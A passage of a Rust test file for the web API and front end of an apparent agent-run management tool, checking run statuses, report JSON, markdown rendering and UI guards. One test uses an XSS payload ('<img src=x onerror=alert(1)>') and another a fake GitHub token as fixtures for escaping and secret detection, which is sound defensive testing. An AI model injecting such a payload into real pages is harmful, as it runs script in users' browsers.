19514 write_run(&f.runs(), id, RunStatus::Judging);
19515 let mut state = read_run(&f.runs(), id).unwrap();
19516 state.parked = true;
19517 state.driver_exited = true;
19518 state.event("github-text", "waiting for the owner");
19519 state.save_under(f.home.path()).unwrap();
19520 let mut task = Task::new(
19521 "resumed task".to_owned(),
19522 "do it".to_owned(),
19523 PathBuf::from("/repo"),
19524 Source::Human,
19525 );
19526 task.runs = vec![id.to_owned(), id.to_owned()];
19527 f.queue().put(&mut task).unwrap();
19528 let store = f.questions();
19529 let mut q = Question::new(
19530 id.to_owned(),
19531 "github-text".to_owned(),
19532 "owner".to_owned(),
19533 "Approve the text?".to_owned(),
19534 String::new(),
19535 Vec::new(),
19536 );
19537 store.put(&mut q).unwrap();
19538 for expected in ["waiting", "parked"] {
19539 let list = f.get("/api/runs").await.json();
19540 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19541 assert_eq!(list[0]["display_status"], expected);
19542 assert_eq!(detail["display_status"], expected);
19543 assert_eq!(detail["waiting"], list[0]["waiting"]);
19544 assert_eq!(list[0]["badge_status"], expected);
19545 assert_eq!(detail["badge_status"], expected);
19546 assert!(list[0]["superseded_by"].is_null());
19547 assert!(detail["superseded_by"].is_null());
19548 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19549 let history = task_detail["history"].as_array().unwrap();
19550 assert_eq!(history.len(), 2);
19551 assert!(history[0]["badge"].is_null());
19552 assert_eq!(history[1]["badge"], expected);
19553 q.status = ask::QuestionStatus::Answered;
19554 store.put(&mut q).unwrap();
19555 }
19556 }
19557
19558 #[tokio::test]
19559 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19560 let f = Fixture::start().await;
19561 let id = "20260922-090200-abcd";
19562 write_run(&f.runs(), id, RunStatus::Judging);
19563 let mut state = read_run(&f.runs(), id).unwrap();
19564 state.parked = true;
19565 state.driver_exited = true;
19566 state.event("park", "stopped at a node boundary");
19567 state.save_under(f.home.path()).unwrap();
19568
19569 for expected in ["parked", "stale"] {
19570 let list = f.get("/api/runs").await.json();
19571 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19572 assert_eq!(list[0]["live"], "dead");
19573 assert_eq!(list[0]["display_status"], expected);
19574 assert_eq!(detail["display_status"], expected);
19575 state.parked = false;
19578 state.save_under(f.home.path()).unwrap();
19579 }
19580 }
19581
19582 #[tokio::test]
19583 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19584 let f = Fixture::start().await;
19585 for id in [
19586 "20260902-140501-aaaa",
19587 "20260902-140502-bbbb",
19588 "20260902-140503-cccc",
19589 ] {
19590 write_run(&f.runs(), id, RunStatus::Merged);
19591 }
19592
19593 let all = f.get("/api/runs").await.json();
19594 let capped = f.get("/api/runs?limit=2").await.json();
19595
19596 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19597 assert_eq!(all.as_array().map(Vec::len), Some(3));
19598 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19599 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19600 }
19601
19602 #[tokio::test]
19603 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19604 let f = Fixture::start().await;
19605 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19606
19607 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19608
19609 assert_eq!(res.status, 200);
19610 assert!(
19611 res.headers
19612 .contains("content-type: text/plain; charset=utf-8"),
19613 "a browser must render it, not download it: {}",
19614 res.headers
19615 );
19616 assert!(
19620 res.body.contains("20260902-140501-a1b2"),
19621 "the report is about the run that was asked for: {}",
19622 res.body
19623 );
19624 }
19625
19626 #[tokio::test]
19627 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19628 crate::run::pin_test_home();
19630 let f = Fixture::start().await;
19631 let id = "20260902-140501-a1b2";
19632 write_run(&f.runs(), id, RunStatus::Stalled);
19633 let path = f.runs().join(id).join("run.json");
19636 let mut v: serde_json::Value =
19637 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19638 v["tally"] = serde_json::json!({
19639 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19640 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19641 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19642 "met_quorum": false, "rankings": 1
19643 });
19644 v["reviews"] = serde_json::json!([{
19645 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19646 "e2e_deferred": true,
19647 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19648 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19649 ]}]
19650 }]);
19651 std::fs::write(&path, v.to_string()).unwrap();
19652 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19653 std::fs::write(
19654 f.runs().join("20260902-140502-dead").join("run.json"),
19655 "{not json",
19656 )
19657 .unwrap();
19658
19659 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19660
19661 assert_eq!(res.status, 200, "{}", res.body);
19662 assert!(res.headers.contains("content-type: application/json"));
19663 let j = res.json();
19664 assert_eq!(j["schema"], 1);
19665 assert_eq!(j["header"]["id"], id);
19666 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19667 let kinds: Vec<&str> = j["sections"]
19668 .as_array()
19669 .unwrap()
19670 .iter()
19671 .map(|s| s["kind"].as_str().unwrap())
19672 .collect();
19673 assert_eq!(kinds, ["candidates", "tally", "review"]);
19674 let tally = &j["sections"][1]["tally"];
19675 assert_eq!(
19676 (tally["decided"].clone(), tally["provisional"].clone()),
19677 (false.into(), true.into())
19678 );
19679 let round = &j["sections"][2]["rounds"][0];
19680 assert_eq!(round["e2e"]["state"], "deferred");
19681 assert_eq!(round["findings"][0]["severity"], "major");
19682 assert_eq!(round["findings"][0]["blocking"], true);
19683 assert_eq!(round["findings"][0]["state"], "open");
19684
19685 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19687
19688 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19690 assert_ne!(bad.status, 200, "{}", bad.body);
19691 assert_eq!(
19692 bad.status,
19693 f.get("/api/runs/20260902-140502-dead/report").await.status
19694 );
19695 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19696 assert_eq!(
19697 f.get("/api/runs/20260902-999999-ffff/report.json")
19698 .await
19699 .status,
19700 404
19701 );
19702 }
19703
19704 #[tokio::test]
19705 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19706 crate::run::pin_test_home();
19707 let f = Fixture::start().await;
19708 let id = "20260902-140503-delib";
19709 write_run(&f.runs(), id, RunStatus::Merged);
19710 let path = f.runs().join(id).join("run.json");
19711 let mut v: serde_json::Value =
19712 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19713 v["judgements"] = serde_json::json!([
19714 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19715 ]);
19716 v["tally"] = serde_json::json!({
19717 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19718 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19719 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19720 "met_quorum": true, "rankings": 1
19721 });
19722 v["deliberation"] = serde_json::json!([
19723 {
19724 "round": 1,
19725 "turns": [
19726 {
19727 "judge": 1,
19728 "agent": "judge-1",
19729 "body": "I prefer candidate **A** because it has cleaner tests.",
19730 "tentative": "A"
19731 }
19732 ]
19733 },
19734 {
19735 "round": 2,
19736 "turns": [
19737 {
19738 "judge": 1,
19739 "agent": "judge-1",
19740 "body": "Still thinking, no choice yet.",
19741 "tentative": null
19742 }
19743 ]
19744 }
19745 ]);
19746 std::fs::write(&path, v.to_string()).unwrap();
19747
19748 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19749 assert_eq!(res.status, 200, "{}", res.body);
19750 let j = res.json();
19751 let judging = j["sections"]
19752 .as_array()
19753 .unwrap()
19754 .iter()
19755 .find(|s| s["kind"] == "judging")
19756 .expect("judging section exists");
19757
19758 let delib_lines = judging["deliberation"].as_array().unwrap();
19760 assert_eq!(delib_lines.len(), 2);
19761 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19762 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19763
19764 let rounds = judging["rounds"].as_array().unwrap();
19766 assert_eq!(rounds.len(), 2);
19767 let r1_t0 = &rounds[0]["turns"][0];
19768 assert_eq!(r1_t0["judge"], 1);
19769 assert_eq!(r1_t0["agent"], "judge-1");
19770 assert_eq!(r1_t0["tentative"], "A");
19771 assert_eq!(
19772 r1_t0["body"],
19773 "I prefer candidate **A** because it has cleaner tests."
19774 );
19775 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19776
19777 let r2_t0 = &rounds[1]["turns"][0];
19778 assert_eq!(r2_t0["judge"], 1);
19779 assert_eq!(r2_t0["agent"], "judge-1");
19780 assert!(r2_t0["tentative"].is_null());
19781 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19782 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19783
19784 let id_empty = "20260902-140504-nodelib";
19786 write_run(&f.runs(), id_empty, RunStatus::Merged);
19787 let path_empty = f.runs().join(id_empty).join("run.json");
19788 let mut v_empty: serde_json::Value =
19789 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19790 v_empty["judgements"] = serde_json::json!([
19791 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19792 ]);
19793 v_empty["deliberation"] = serde_json::json!([]);
19794 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19795
19796 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19797 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19798 let j_empty = res_empty.json();
19799 let judging_empty = j_empty["sections"]
19800 .as_array()
19801 .unwrap()
19802 .iter()
19803 .find(|s| s["kind"] == "judging")
19804 .expect("judging section exists");
19805 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19806 }
19807
19808 #[tokio::test]
19809 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19810 let f = Fixture::start().await;
19811
19812 let html = f.get("/").await;
19813 let css = f.get("/app.css").await;
19814 let js = f.get("/app.js").await;
19815
19816 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19817 assert!(
19818 html.headers
19819 .contains("content-type: text/html; charset=utf-8")
19820 );
19821 assert!(css.headers.contains("content-type: text/css"));
19822 assert!(js.headers.contains("content-type: text/javascript"));
19823 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19824 }
19825
19826 #[test]
19827 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19828 let body = |name: &str| {
19829 let at = APP_JS
19830 .find(name)
19831 .unwrap_or_else(|| panic!("{name} missing"));
19832 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19833 };
19834 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19835 let note = body("function landRoundNote");
19836 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19837 assert!(note.contains("Land round ${round}"));
19838 let land = body("function renderLand");
19839 let note_at = land
19840 .find("landRoundNote(pr)")
19841 .expect("renderLand uses the note");
19842 assert!(
19843 note_at
19844 < land
19845 .find("roundRail(pr)")
19846 .expect("renderLand uses the rail")
19847 );
19848 }
19849
19850 #[test]
19851 fn the_runs_page_redesign_keeps_its_guards() {
19852 let body = |name: &str| {
19853 let at = APP_JS
19854 .find(name)
19855 .unwrap_or_else(|| panic!("{name} missing"));
19856 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19857 };
19858 let land = body("function renderLand");
19860 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19861 assert!(
19862 !land.contains("box.append("),
19863 "renderLand must use append()"
19864 );
19865 assert!(land.contains("append(box, ["));
19866 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19868 assert!(
19869 body("function applyRoute")
19870 .contains("route.name !== state.route.name || route.id !== state.route.id")
19871 );
19872 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19874 assert!(!INDEX_HTML.contains("advise-converge"));
19875 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19876 assert!(APP_JS.contains("provisional"));
19877 for id in [
19878 "run-tab-overview",
19879 "run-tab-timeline",
19880 "run-tab-report",
19881 "run-report",
19882 "runs-scope",
19883 ] {
19884 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19885 }
19886 assert!(!INDEX_HTML.contains("runs-tree"));
19887 assert!(!INDEX_HTML.contains("run-raw-panel"));
19888 assert!(APP_JS.contains("resume"));
19890 assert!(APP_JS.contains("unreadable"));
19892 }
19893
19894 #[test]
19895 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19896 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19897 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19898 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19899 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19900 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19901 assert!(APP_JS.contains("unreadable` : null"));
19903 }
19904
19905 #[test]
19906 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19907 let mut state = RunState::new(
19908 "/repo".into(),
19909 "main".into(),
19910 "abc".into(),
19911 "task".into(),
19912 crate::config::Config::default(),
19913 );
19914 state.status = RunStatus::Blocked;
19915 state.gate_ran = true;
19916 state.gate.push(crate::run::CommandOutcome {
19917 command: "cargo make check".into(),
19918 code: Some(1),
19919 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19920 duration_ms: 0,
19921 resource_blocked: false,
19922 });
19923 let view = RunDetailView::of(
19924 state,
19925 false,
19926 crate::run::Liveness::Unknown,
19927 None,
19928 None,
19929 None,
19930 );
19931 let value = serde_json::to_value(view).unwrap();
19932 assert_eq!(
19933 value["stop_reason"],
19934 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19935 );
19936 }
19937
19938 #[test]
19939 fn the_run_detail_payload_says_whether_the_run_is_done() {
19940 for (status, done) in [
19942 (RunStatus::Superseded, true),
19943 (RunStatus::Blocked, true),
19944 (RunStatus::Landing, false),
19945 ] {
19946 let mut state = RunState::new(
19947 std::path::PathBuf::from("/repo"),
19948 "main".to_owned(),
19949 "abc".to_owned(),
19950 "x".to_owned(),
19951 crate::config::Config::default(),
19952 );
19953 state.status = status;
19954 let v = serde_json::to_value(RunDetailView::of(
19955 state,
19956 false,
19957 crate::run::Liveness::Unknown,
19958 None,
19959 None,
19960 None,
19961 ))
19962 .unwrap();
19963 assert_eq!(v["done"], done, "{status:?}");
19964 }
19965 }
19966
19967 fn has_strong(nodes: &[md::Node]) -> bool {
19969 serde_json::to_string(nodes).unwrap().contains("strong")
19970 }
19971
19972 #[test]
19973 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19974 let mut state = RunState::new(
19975 std::path::PathBuf::from("/repo"),
19976 "main".to_owned(),
19977 "abc".to_owned(),
19978 "x".to_owned(),
19979 crate::config::Config::default(),
19980 );
19981 let proposal = |approach: &str| {
19982 serde_json::json!({
19983 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19984 })
19985 };
19986 state.advice = Some(
19987 serde_json::from_value(serde_json::json!({
19988 "records": [
19989 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19990 "proposal": proposal("do **this**")},
19991 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19992 ],
19993 "synthesis": "- one\n- **two**\n\n`code`",
19994 }))
19995 .unwrap(),
19996 );
19997 state.candidates = serde_json::from_value(serde_json::json!([
19998 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19999 "summary": "did **it**"},
20000 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20001 ]))
20002 .unwrap();
20003 state.reviews = serde_json::from_value(serde_json::json!([{
20006 "round": 1, "head": "h",
20007 "reviews": [{
20008 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20009 "findings": [
20010 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20011 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20012 ],
20013 }],
20014 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20015 "fix": {"agent": "a", "notes": "fixed **it**",
20016 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20017 }, {"round": 2, "head": "h2", "reviews": []}]))
20018 .unwrap();
20019
20020 let v = serde_json::to_value(RunDetailView::of(
20021 state,
20022 false,
20023 crate::run::Liveness::Unknown,
20024 None,
20025 None,
20026 None,
20027 ))
20028 .unwrap();
20029
20030 let strong = |p: &str| {
20031 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20032 assert!(n.to_string().contains("strong"), "{p}: {n}");
20033 };
20034 strong("/advice_md/synthesis");
20035 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20036 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20037 strong("/advice_md/approaches/0");
20038 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20039 strong("/candidate_summaries_md/0");
20040 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20041 strong("/reviews_md/0/reviewers/0/summary");
20042 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20043 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20044 assert!(f[1].to_string().contains("strong"));
20045 strong("/reviews_md/0/reconsideration/0");
20046 strong("/reviews_md/0/fix/notes");
20047 strong("/reviews_md/0/fix/rejected/0");
20048 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20049 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20050 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20052 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20053 }
20054
20055 #[test]
20056 fn a_run_without_advice_has_no_advice_md() {
20057 let state = RunState::new(
20058 std::path::PathBuf::from("/repo"),
20059 "main".to_owned(),
20060 "abc".to_owned(),
20061 "x".to_owned(),
20062 crate::config::Config::default(),
20063 );
20064 let p = run_prose_md(&state);
20065 assert!(p.advice_md.is_none());
20066 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20067 }
20068
20069 #[test]
20070 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20071 let store = ask::Questions::at(PathBuf::from("unused"));
20072 let gt = crate::github_text::Withheld {
20073 title: false,
20074 body: true,
20075 categories: vec!["sensitive-data".into()],
20076 };
20077 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20078 let (detail, comparison) =
20079 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20080 let mut q = Question::new(
20081 "r".into(),
20082 "github-text".into(),
20083 "posting-gate".into(),
20084 "s".into(),
20085 detail,
20086 Vec::new(),
20087 );
20088 assert!(
20089 QuestionView::of(q.clone(), &store, None)
20090 .posting_view
20091 .is_none()
20092 );
20093 q.posting_comparison = Some(comparison);
20094 let view = QuestionView::of(q.clone(), &store, None);
20095 let field = &view.posting_view.unwrap().fields[0];
20096 assert_eq!(
20097 field
20098 .original
20099 .iter()
20100 .map(|f| f.text.as_str())
20101 .collect::<String>(),
20102 body
20103 );
20104 assert!(field.original[0].text.starts_with("<img"));
20105 let original_question: Question =
20106 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20107 assert_eq!(original_question, q);
20108 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20109 .original
20110 .start = 1;
20111 assert!(
20112 QuestionView::of(q.clone(), &store, None)
20113 .posting_view
20114 .is_none()
20115 );
20116 q.posting_comparison = original_question.posting_comparison;
20117 q.detail.push_str("extra context");
20118 assert!(
20119 QuestionView::of(q.clone(), &store, None)
20120 .posting_view
20121 .is_some()
20122 );
20123 q.detail.insert(0, 'x');
20124 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20125 }
20126
20127 #[test]
20128 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20129 let store = ask::Questions::at(PathBuf::from("unused"));
20130 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20131 let gt = crate::github_text::Withheld::from_check(
20132 &crate::github_text::check("fix: x", body),
20133 "fix: x",
20134 body,
20135 )
20136 .unwrap();
20137 let (detail, comparison) =
20138 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20139 let mut q = Question::new(
20140 "r".into(),
20141 "github-text".into(),
20142 "posting-gate".into(),
20143 "s".into(),
20144 detail,
20145 Vec::new(),
20146 );
20147 q.posting_comparison = Some(comparison);
20148 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20149 let field = &value["posting_view"]["fields"][0];
20150 let group = &field["replacement_group"];
20151 let triggers = group["triggers"].as_array().unwrap();
20152 assert_eq!(triggers.len(), 2);
20153 assert_ne!(triggers[0], triggers[1]);
20154 for id in triggers {
20155 assert!(
20156 field["original"]
20157 .as_array()
20158 .unwrap()
20159 .iter()
20160 .any(|f| &f["pair"] == id)
20161 );
20162 assert!(
20163 !field["changed"]
20164 .as_array()
20165 .unwrap()
20166 .iter()
20167 .any(|f| &f["pair"] == id)
20168 );
20169 }
20170 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20171 group["id"].as_u64().unwrap() as usize;
20172 assert!(
20173 QuestionView::of(q, &store, None).posting_view.is_none(),
20174 "group and trigger IDs cannot collide"
20175 );
20176 }
20177
20178 #[test]
20179 fn a_question_view_carries_markdown_for_each_thread_turn() {
20180 let home = TempDir::new().unwrap();
20181 let store = ask::Questions::at(home.path().join("questions"));
20182 let mut q = Question::new(
20183 "run".to_owned(),
20184 "implement".to_owned(),
20185 "impl-A".to_owned(),
20186 "which?".to_owned(),
20187 String::new(),
20188 Vec::new(),
20189 );
20190 q.say("plain words").unwrap();
20191 q.reply("use **this**", Vec::new()).unwrap();
20192 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20193 let bodies = &v["thread_bodies_md"];
20194 assert_eq!(bodies.as_array().unwrap().len(), 2);
20195 assert!(!bodies[0].to_string().contains("strong"));
20196 assert!(bodies[1].to_string().contains("strong"));
20197 }
20198
20199 #[test]
20200 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20201 let home = TempDir::new().unwrap();
20202 let store = ask::Questions::at(home.path().join("questions"));
20203 let mut q = Question::new(
20204 "run".to_owned(),
20205 "conduct".to_owned(),
20206 "conduct".to_owned(),
20207 "which?".to_owned(),
20208 String::new(),
20209 Vec::new(),
20210 );
20211 q.say("plain words").unwrap();
20212 q.thread.push(ask::Turn {
20213 who: ask::Who::Agent,
20214 body: "Settled as `merge`".to_owned(),
20215 at: jiff::Timestamp::now(),
20216 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20217 });
20218 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20219 let notes = &v["thread_notes_md"];
20220 assert_eq!(notes.as_array().unwrap().len(), 2);
20221 assert!(notes[0].is_null());
20222 let text = notes[1].to_string();
20223 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20224 assert!(APP_JS.contains("ask-turn-note"));
20225 }
20226
20227 #[test]
20228 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20229 assert!(APP_JS.contains("function landView(run, raw) {"));
20233 assert!(
20234 APP_JS.contains(
20235 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20236 )
20237 );
20238 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20239 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20240 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20241 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20242 }
20243
20244 #[test]
20245 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20246 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20247 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20248 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20249 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20250 }
20251
20252 #[test]
20253 fn review_rounds_label_a_distinct_verified_head() {
20254 assert!(APP_JS.contains("round.verified_head"));
20255 assert!(APP_JS.contains("verified HEAD"));
20256 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20257 }
20258
20259 #[test]
20260 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20261 assert!(APP_JS.contains("blocked: { glyph:"));
20265 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20266
20267 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20271 assert!(
20272 APP_JS.contains(
20273 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20274 ),
20275 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20276 );
20277 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20281
20282 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20286 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20287 assert!(
20288 APP_JS.contains("location.hash = \"#/questions\";"),
20289 "a question node must jump to the Questions screen, not pretend to be a task"
20290 );
20291
20292 assert!(APP_JS.contains("Resolved questions"));
20295 assert!(APP_JS.contains("r.answersList.append("));
20296 assert!(APP_CSS.contains(".task-answers"));
20297 {
20298 let start = APP_JS
20299 .find("function updateTalkTaskRow")
20300 .expect("updateTalkTaskRow");
20301 let body = &APP_JS[start..];
20302 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20303 assert!(
20304 body.contains(
20305 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20306 ),
20307 "a chat-filed task row must link to the task page"
20308 );
20309 assert!(
20310 !body.contains("#/runs/") && !body.contains("#/queue/"),
20311 "the row must not branch to a run or the queue card"
20312 );
20313 assert!(APP_CSS.contains(".talk-task-link"));
20314 }
20315 }
20316
20317 #[test]
20318 fn a_task_notification_links_to_the_task_page() {
20319 let start = APP_JS
20321 .find("function noticeLink(")
20322 .expect("noticeLink exists");
20323 let body = &APP_JS[start..];
20324 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20325 assert!(
20326 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20327 "a task notice's link must target the task page"
20328 );
20329 assert!(
20330 !body.contains("#/queue/"),
20331 "regression: the task link must not go back to the Backlog route"
20332 );
20333 assert!(
20334 APP_JS.contains(
20335 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20336 ),
20337 "`#/tasks/<id>` must parse into the task route"
20338 );
20339
20340 assert!(
20342 APP_JS.contains(
20343 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20344 ),
20345 "`#/queue/<id>` must parse into a route carrying that id"
20346 );
20347
20348 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20352 assert!(APP_JS.contains("function consumeQueueFocus()"));
20353 assert!(APP_JS.contains("jumpToTask(id)"));
20354 }
20355
20356 #[test]
20357 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20358 let start = APP_JS
20359 .find("function noticeCoveredBy(")
20360 .expect("noticeCoveredBy exists");
20361 let body = &APP_JS[start..];
20362 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20363
20364 assert!(body.contains("Associated question ${short}"));
20366 assert!(!body.contains("el(\"a\""));
20367
20368 assert!(body.contains("(resolved)"));
20370 assert!(body.contains("(closed)"));
20371
20372 let start = APP_JS
20373 .find("function renderNotifications()")
20374 .expect("renderNotifications exists");
20375 let body = &APP_JS[start..];
20376 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20377
20378 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20380 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20381 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20382 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20383 }
20384
20385 #[test]
20388 fn chat_rows_put_the_title_alone_on_the_first_line() {
20389 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20390 assert!(APP_CSS.contains(
20391 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20392 ));
20393 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20394 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20395 }
20396
20397 #[test]
20398 fn run_rows_put_the_title_alone_on_the_first_line() {
20399 assert!(
20400 APP_CSS.contains(
20401 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20402 )
20403 );
20404 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20405 assert!(APP_JS.contains("class: \"card run-card\""));
20406 assert!(APP_JS.contains("class: \"repo run-id\""));
20407 }
20408
20409 #[test]
20413 fn wide_screens_show_list_and_preview_side_by_side() {
